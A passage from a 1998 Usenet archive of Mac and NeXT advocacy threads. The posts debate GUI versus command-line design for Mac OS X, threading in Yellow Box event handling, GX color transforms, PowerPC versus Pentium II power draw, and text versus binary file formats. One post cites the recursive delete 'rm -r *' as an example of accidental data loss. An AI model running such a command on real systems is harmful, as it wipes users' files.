I assume it could be if a 3rd-party wanted to implement it.
As to what SHOULD be implemented, a point was made earlier about
convolution filtering and so on as being too esoteric for Apple to bother
with and perhaps they felt that GX's color-space transforms were too
esoteric also.
I tend to disagree, but there's (I think) an ideal compromise:
provide a way of applying GX's color-space manipulations in a generic
sense:
rather than limiting MacOS X graphics to some subset/superset/intersection
of GX and YB graphics in this instance, why not provide a way for
programmers to "roll their own per-pixel manipulations of a
bitmap/vector/text?
All you'd need would be access to the source pixel value, destination pixel
value and the "result" (composited) pixel. For vectors, this would be the
single color value of the object. For bitmaps, this would be the entire
collection of pixels on a per-pixel basis. Not sure how to handle text in
this case -per style?
You could write simple per-pixel filters that would manipulate and combine
the contents of this simple pipeline in any old way you wanted, including
things like the 3 5x4 (would be 6x5 for MacOS X) transform matrices of GX,
algorithmic modifications based on the current source/destination pixel
value, etc. That would give you all the functionality of GX's Ink object
and then some, and wouldn't be all that complex to implement.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Cc: quinlan@intergate.bc.ca
Organization: none
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net>
<6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com>
<6t4hob$44s$1@nnrp1.dejanews.com> <EyzrrH.uF@T-FCN.Net>
<6t5dmd$de0$1@nnrp1.dejanews.com> <Ez0w7u.FIE@T-FCN.Net>
<6t6id3$ufe$1@nnrp1.dejanews.com> <Ez18uA.GK@T-FCN.Net>
<6t71ug$ngj$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Thu, 10 Sep 1998 00:43:59 GMT
In <6t71ug$ngj$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> The application does not directly touch the screen nor the mouse.
Ohhhhh yes it does. Not the hardware, but they certainly touch the same
data structures and methods.
> of the menu bar are controlled by the front most window (save, print, etc.)
No, that's who catches the message. Different issue. But it brings up a
perfect example, what if such an event comes in while the window is being
switched? You have to make this atomic, otherwise the "old" window could be
getting events for the new window.
> while other parts are controlled by the application (quit, about, etc.).
What
> protection does the menu bar require if the application does not try to set
> the same items in different threads?
Well that's another good example. How about having the menu held down
while another thread changes an item? This is not as easy as you want to
make it out to be, but I simply am not very good at explaining it. Again,
get Unix Internals.
Maury
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 9 Sep 1998 17:38:35 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6t7798$5l$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com>
Michael Peck wrote in message <35F6FEE8.9D090CC3@ericsson.com>...
>I thought John Jensen already addressed the fact that GUIs have
>identical characteristics of accuracy. You've never chosen the wrong
>menu item? You've never accidentally closed a window? You've never
>accidentally dragged something into the wrong drop? Of course you have.
>And you have to do it all over again, or worse, undo the damage caused
>by your mistake.
This goes back to the issue of working with well-designed GUI
applications. A well designed GUI application is supposed to be
forgiving: it is supposed to have an 'undo' mechanism, and warn
you about an operation that cannot be undone. If you accidently
close the wrong window, you can reopen it. If you accidently
drop to the wrong place, you should just be able to hit "undo".
>I make mistakes in the GUI all the time. I hate most GUIs because it's
>*too* easy to make mistakes without undoing them. In a CLI I have time
>to review my typing before I hit return. In a GUI, if I were to
>carefully measure every action, I would never get anything done.
You mean you don't pause a moment as you are dragging a bunch of
files and think "should I do this" before you release the mouse button?
It's the same facility you use when you pause a moment and think
"should I do this" before hitting the return button.
And as to your brother wiping out a bunch of your work: it's not
like he couldn't have done the same sort of thing in a CLI.
The only difference is that the GUI is a friendlier environment
to beginners. But it's not like he couldn't have typed something
like 'rm -r *' from the wrong directory--it's only that he
is less likely to do that.
>> Slow in what sense, the processing or the setting it up? I think I was
>> able to do it rather quickly, once I knew what I was doing.
>
>You said several minutes, later 40 seconds. I assume the app was already
>open for the second trial run, which saves you time (GUI apps load
>*very* slowly).
What makes you think GUI apps load very slowly? Most of the GUI apps
I've written, and a few I have used, are able to get off the ground
very quickly, in less than a couple of seconds. (Most of that time
comes from paging in the code resources.) The only Apps I've had
problems with are either ones with a ton of "extensions" it has to
load, or ones which use the network to search for illegal copies of
itself on your local net.
[cut]
Punting on the rest...
- Bill Woody
The PandaWave http://www.pandawave.com/
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 9 Sep 1998 17:44:07 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6t77jj$6rq$1@nnrp3.snfc21.pbi.net>
References: <heaney-0509981648590001@24.0.246.137> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137> <6t76bj$hrb$1@nnrp03.primenet.com>
John Jensen wrote in message <6t76bj$hrb$1@nnrp03.primenet.com>...
>The amazing thing is that we are talking about removing features of the
>OS which are:
>
> - done
> - paid for
> - industry standards
> - useful to at least some of us
>
>Why exactly? Because (as someone said a while back) an unsuspecting user
>might find the hidden CLI and be struck blind? Because we might launch a
>new effort to recreate the functionality of the CLI in a new GUI based
>system?
>
>I'm sorry, but the whole thing still strikes me as political correctness,
>or worse, an attempt to target the Mac at low-end users.
FUD.
As far as I can tell, this is simply a discussion of the strengths
and weaknesses of each technique (GUI verses CLI). So far (unless
I've missed the post), no-one here is arguing that the CLI should
be stripped from the upcomming MacOS releases.
And in fact I think most of the MacOS programmers here who argue
that the GUI is at least as powerful if not more useful than the
CLI are in fact fairly excited about the potential of having a
CLI interpreter "under the hood", so to speak.
Me, I personally can't wait to be able to launch a CLI application
in the background (hidden from the user): as a plugin architecture
it would run screaming circles around any other plugin architecture
anyone has been able to come up with.
- Bill Woody
The PandaWave
Date: Wed, 09 Sep 1998 20:49:39 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <joe.ragosta-0909982049400001@elk102.dol.net>
References: <6t6ruf$co8@newsb.netnews.att.com>
In article <6t6ruf$co8@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Intel has lowered the core voltage of the mobile Pentium II
> at 300 MHz to 1.6 V, so that the maximum power at 300 MHz of the
> processor core & L2 cache is 11.6 W.
> (http://developer.intel.com/design/mobile/datashts/243669.htm)
>
> For comparison, IBM's 2.0 V core PPC 750 uses 4.7W max. at 333 MHz.
> (This is without L2.
Of course, IBM's 400 MHz PPC 750 will be even lower.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 00:53:40 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t77uk$hrb$2@nnrp03.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com>
<jesse-ya02408000R0909981159420001@news.latrobe.edu.au>
Greg McPherson <jesse@mira.net> wrote:
: A CLI gives programmers an easy option. You don't have to construct a
: nice user interface, you don't have to make the program user friendly.
: By removing the CLI the Mac remains an extremely user friendly machine.
: Programmers are forced to be nice to the users.
I think that programmers being forced to be nice to users was very much an
issue in '84. Articles at the time made much of the goodness of the GUI
and the evil of "rm". The idea that a two character command could remove
a file was very frightening to new users. At the time, in '84, I bought
into much of the GUI vision. Specifically, I bought into the Apple GUI
vision that an elegant GUI tool should available for each task, and should
be so obvious that no manual is required. For me, that vision is now
tempered with the knowledge that: 1) No one is going to write all the
elegant GUI tools I'd require. 2) At a certain level of complexity a GUI
app becomes as inelegant as a command line tool.
Power and elegance, while theoretically compatible, are seldom combined in
the real world. (Or they are very expensive, like Porsches.) That forces
me to choose between power and elegance much of the time. For that reason
I like having graphical and command line tools available. I'll choose the
one I prefer at the moment.
John
Date: Thu, 10 Sep 1998 10:16:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <joe.ragosta-1009981016020001@wil49.dol.net>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news> <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu>
In article <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
>Tom Keyes <keyes@chem.bu.edu> wrote in article
><keyes-ya02408000R1009980913380001@news>...
>> In article <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu>,
>> "Steve" <nospam@nospam!.kom> wrote:
>>
>> > Kevin Stone <stone@stoneentertainment.com> wrote in article
>> > <stone-1009980110020001@rc-pm3-1-24.enetis.net>...
>> > What Intel must be asking them selves right now is, "When
>> > > does the hurting stop?". :)
>> > >
>> > Why would Intel be asking that when they sell 10 or more x86 chips for
>> > every PPC chip?
>>
>> Because it's not where you are now but where you're headed that matters.
>> Intel has been on top for some time but their position is starting to
>look
>> shaky, especially with the merced fiasco and the advances in PPC.
>>
>
>
>I don't think that Merced can be called a "fiasco" yet. It's delayed of
>course, but nobody really knows how good it (and the following series of
>processors) will be when it/they finally come out. If it's as good as
I don't know about that. It was originally scheduled for 1999. Then 2000.
Now, InfoWorld says that the first version that will be any good will be
2001.
>Intel and HP claim, the PPC will be blown away. On the other hand, it
Not true. The rumored performance of the Merced chip isn't that far ahead
of the Power3 chip set. Given the things that are planned for PPC, it's
pretty hard to reach that conclusion.
BTW, will SPEC take advantage of AltiVec?
>could be a total failure. My guess is it will be a good processor, but
>will take a number of years to realize its full potential. If it was only
>Intel working on IA-64, I might be a little more pessimistic. However, I
>think that HP's knowledge and expertise should be a big help (If you think
>the G3 has good performance considering its processor speed, check out the
>PA-RISC running at only 236 Mhz).
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0909982200140001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com>
Organization: Solid Object Software
Date: Thu, 10 Sep 1998 01:51:22 GMT
NNTP-Posting-Date: Wed, 09 Sep 1998 18:51:22 PDT
In article <35F6F4F8.F3327219@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> John Heaney wrote:
>
> > If you only used the computer an hour a day, do you think it would be
> > worthwhile to invest the energy to learn how to use a CLI?
>
> What can you do in just one hour a day? I can think of a few things, but
> I'd have to be using a CLI.
The are quite a number of people that don't work in front of a computer
all day. They just use it to fire off a letter, check email type up and
invoice; that sort of thing. It's very important that the computer be
simple to use for these people. Teachers are an excellent example of this
level of user. The use it for grades and typing up lesson plans, but they
spend the rest of the day in front of another sort of souless machine
students.
> > I only forsee programmers using it, so I don't see why it should be part
> > of the standard user configuration. If it's going to be a distraction for
> > Apple then it definitely shouldn't. I could see Apple getting a lot of
> > tech support calls from people who got in over their heads.
>
> A lot more than just developers will need to use it. Did you know that
> Microsoft bundled WINIPCFG.EXE so that users could check their IP
> address and report it to their ISP during support calls? It requires a
> command-line. That's why the DOS shell is in there.
Well, isn't that, like, typical of Windoze? Surely, Apple can do better
than that!
> Why not provide a GUI for this, you might ask. I think it's because it
> was more important to "hide" the IP address from the user than it was to
> "hide" the command-line, for simplicity's sake. This is what confuses me
> about all this talk of "hiding the command-line". Why are you hiding the
> command-line? Why don't you work on hiding the inadequacies of the OS
> instead of the strengths?
The strength of the Mac OS is (was) that it is (was) the computer for the
rest of us. Simplicity and ease of use are the flags we all salute. If
Apple throws in a CLI for the average user then they will probably get a
lot of tech support calls they can do without. And for the class of user
Apple is courting, why bother? After all, the programmers are going to get
the development tools anyway and that will comprise 99% of all the people
who would benefit by the CLI.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 10 Sep 1998 14:31:38 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t8nsa$ij$1@nnrp03.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com>
<heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <6t76bj$hrb$1@nnrp03.primenet.com>
<6t77jj$6rq$1@nnrp3.snfc21.pbi.net>
William Edward Woody <woody@alumni.caltech.edu> wrote:
: >Why exactly [remove the CLI]?
: >I'm sorry, but the whole thing still strikes me as political correctness,
: >or worse, an attempt to target the Mac at low-end users.
: FUD.
: As far as I can tell, this is simply a discussion of the strengths
: and weaknesses of each technique (GUI verses CLI). So far (unless
: I've missed the post), no-one here is arguing that the CLI should
: be stripped from the upcomming MacOS releases.
There have been people in this thread who have said that hiding the CLI
is not sufficient, that it must be removed. Moreover, if you've watched
these threads in the past two years since the NeXT acquisition, it has be
a recurring theme.
: And in fact I think most of the MacOS programmers here who argue
: that the GUI is at least as powerful if not more useful than the
: CLI are in fact fairly excited about the potential of having a
: CLI interpreter "under the hood", so to speak.
: Me, I personally can't wait to be able to launch a CLI application
: in the background (hidden from the user): as a plugin architecture
: it would run screaming circles around any other plugin architecture
: anyone has been able to come up with.
Sure. There are other ways to integrate CLIs and GUIs once you get over
the hurdle of CLI acceptance. There have been systems which allowed CLI
scripts to be designated as drop targets within the GUI. There are the
tcl/tk tools as well. All kinds of things can be done in a hybrid system
to increase the user's power while maintaining ease of use. But if the
CLI is left out because it offends the eyes, none of these can be
attempted.
John
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 10 Sep 1998 03:24:39 GMT
Organization: University of Maryland, College Park
Message-ID: <6t7gpn$97k$2@hecate.umd.edu>
References: <6t6ruf$co8@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Intel has lowered the core voltage of the mobile Pentium II
: at 300 MHz to 1.6 V, so that the maximum power at 300 MHz of the
: processor core & L2 cache is 11.6 W.
: (http://developer.intel.com/design/mobile/datashts/243669.htm)
: For comparison, IBM's 2.0 V core PPC 750 uses 4.7W max. at 333 MHz.
: (This is without L2.)
How much for cache?
: -arun gupta
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 10 Sep 1998 06:29:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t7rk8$s0p$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hob$44s$1@nnrp1.dejanews.com> <EyzrrH.uF@T-FCN.Net> <6t5dmd$de0$1@nnrp1.dejanews.com> <Ez0w7u.FIE@T-FCN.Net> <6t6id3$ufe$1@nnrp1.dejanews.com> <Ez18uA.GK@T-FCN.Net> <6t71ug$ngj$1@nnrp1.dejanews.com> <Ez1M1B.8u5@T-FCN.Net>
In article <Ez1M1B.8u5@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
I think that I have found a major difference in what we are arguing. I am
arguing for better behavior while you are arguing for better behavior while
preserving the current YB event handling strategies.
> > The application does not directly touch the screen nor the mouse.
>
> Ohhhhh yes it does. Not the hardware, but they certainly touch the same
> data structures and methods.
Could you please expand on this a bit?
> > of the menu bar are controlled by the front most window (save, print, etc.)
>
> No, that's who catches the message. Different issue. But it brings up a
> perfect example, what if such an event comes in while the window is being
> switched? You have to make this atomic, otherwise the "old" window could be
> getting events for the new window.
I would send the event to the window not to the application so this confusion
would not be a problem.
> Well that's another good example. How about having the menu held down
> while another thread changes an item? This is not as easy as you want to
> make it out to be, but I simply am not very good at explaining it. Again,
> get Unix Internals.
Then the item changes.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 01:10:02 -0600
Organization: Stone Entertainment
Message-ID: <stone-1009980110020001@rc-pm3-1-24.enetis.net>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca>
In article <6t78hh$jc1$1@morgoth.sfu.ca>, erick@sfu.ca (Erick Bryce Wong) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
> >gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> >
> >> Intel has lowered the core voltage of the mobile Pentium II
> >> at 300 MHz to 1.6 V, so that the maximum power at 300 MHz of the
> >> processor core & L2 cache is 11.6 W.
> >>
> >> For comparison, IBM's 2.0 V core PPC 750 uses 4.7W max. at 333 MHz.
> >> (This is without L2.
> >
> >Of course, IBM's 400 MHz PPC 750 will be even lower.
>
> I think the copper 400MHz G3 that already announced by IBM is 5.7W max.
> That's roughly linear with respect to the 333MHz part which is probably
> on the same process. But I thought it was 1.8V or 1.9V, not 2.0V.
> -- Erick
The new chips feature a 1.9 volt core. 3.3 volt i/o. If the 400MHz
copper chip dissapates only 5.7 Watts max. then that's even better than
Moto's new 366MHz chip which dissapates 6.5 Watts max. IBM stated in a
recent press release about its upcoming SOI (Silicon on Insulator) process
that they hope to produce PowerPC G3 and G4 chips next year featuring 1
volt cores. What Intel must be asking them selves right now is, "When
does the hurting stop?". :)
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hjh$41c$1@nnrp1.dejanews.com> <Eyzrpq.rz@T-FCN.Net> <6t5di5$ddi$1@nnrp1.dejanews.com> <Ez0vCo.Ev8@T-FCN.Net> <6t6j5g$vc1$1@nnrp1.dejanews.com> <Ez194q.pI@T-FCN.Net> <6t71n4$nba$1@nnrp1.dejanews.com> <Ez1Lsr.8oq@T-FCN.Net> <6t7s3u$ssl$1@nnrp1.dejanews.com>
Message-ID: <35f78873.0@news.depaul.edu>
Date: 10 Sep 98 08:06:11 GMT
In comp.sys.next.advocacy quinlan@intergate.bc.ca wrote:
> In article <Ez1Lsr.8oq@T-FCN.Net>,
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > Because you'd also have to spool off the save code from the "main loop".
> > OpenStep helps here, but is slowing down a whole OS for a 3GB file save case
> > a real good tradeoff?
> But I wouldn't have a main loop. I'd have a thread for the application and a
> thread for each window.
The window really needn't be involved in a save. It could just as
easily tell the document model object to save in another thread. Why
bother threading the window? The end result is the same: the window
in which the document is displayed is user-responsive.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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Cc: gregorylo@sympatico.ca
Organization: none
References: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B21882EA-3A2A@206.165.43.166>
<Eyz29G.8L0@T-FCN.Net> <gregorylo-0809982056350001@cpu2522.adsl.bellglobal.com>
<Ez0tuH.DuH@T-FCN.Net> <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com>
Mime-Version: 1.0
Date: Thu, 10 Sep 1998 14:47:58 GMT
In <gregorylo-0909982313490001@cpu2522.adsl.bellglobal.com> Gregory Lo wrote:
> I have to disagree with that. You define the format, you can also read
> it. Apologies to those in the NeXT advocacy groups, but browsing around
> through resources in binary form with a resource editor and the
> appropriate template is fairly common thing for a mac programmer to do.
If it's not corrupted, what if that's the problem? Then you're sunk. And
a resource editor does little for non-resource based files, like, say,
FileMaker Pro.
> Okay. I certainly wouldn't have any problem going either way with this.
> But, my own preference (default approach might be a better word) would be
> to define what structures I need in memory and then write the same memory
> image to disk or read it directly from disk into memory. That's great for
> simple structures. For more complicated structures, any variety of
> methods will do - whatever you prefer.
You see, this is where I utter disagree - although only 6 months ago I
would have completely agreed. Consider...
a) how does the file work on other platforms? (it doesn't)
b) what happens if the structures change? (ir breaks)
c) how do you debug it? ("decompile" it with other tools)
d) how do you modify it in saved form? (you can't)
etc. Key/value pairing solves these issues, all of them if you want to.
For instance we added a new field to one of our objects a while back, but all
of our documents had been saved without it. No problem, I just opened the
file and typed it in. I could have automated it with the various Unix (or
AppleScript) tools. I could not have done this on a binary file easily, if
at all.
> For instance, say you had a file of data, marked up with tags. In a
> binary format, you could determine that each tag is only two bytes wide
> (reasonable enough - allowing for 32768 different tags) - reading those
> two bytes from a file is the simplest thing. Doing the same thing with a
> text-based format is also easy but it does take a few more steps: you have
> to scan the text and tokenize it (even if you've written some ad hoc
> lexer, that's what happens). Then you're still stuck with some [possibly
> multi-byte] string comparisons (easy for humans, takes a little longer for
> the computer than if it had to compare small integers).
Ahhh, this is a performance issue. I'll agree with you completely there,
it does take more time to parse a text file than a binary file.
Maury
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 9 Sep 98 16:17:33
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep9161733@slave.doubleu.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<6sn7u7$nq3$1@nnrp1.dejanews.com>
<SCOTT.98Sep6224159@slave.doubleu.com>
<6t21ge$ktq$1@nnrp1.dejanews.com> <6t6ona$boq$4@news.mxol.com>
In-reply-to: "Charles W. Swiger"'s message of 9 Sep 1998 20:33:46 GMT
In article <6t6ona$boq$4@news.mxol.com>,
"Charles W. Swiger" <chuck@codefab.com> writes:
Enabling multithreading roughly doubles this overhead again for
just the locking over the critical section of the method dispatch
(ie, a lock over the Obj-C runtime structures).
Fortunately, you can rework the Obj-C runtime so that it only needs to
lock things when updating the method dispatch tables. Basically, when
you need to rebuild the method cache, build a new one and change the
pointer, rather than screwing with the xisting cache. In that way,
other threads can continue to access the existing cache while the new
cache is being built. Naturally, you put a mutex around the cache
rebuild process so that multiple selector misses don't step on each
other.
Furthermore, there are techniques that can be used to build reasonably
efficient static method caches. Then there shouldn't be any locking
overhead to Objective-C method dispatch.
Add whatever locking the various frameworks like the Appkit need,
and then add the explicit mutex locking (NSLock et al) for your own
code, too.
That's the killer. Beyond the bare performance disadvantage, you also
get to worry about whether they protected everything correctly. With
explicit non-support for multi-threading, I'm not too concerned.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 10 Sep 1998 06:52:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t7sv7$tkp$1@nnrp1.dejanews.com>
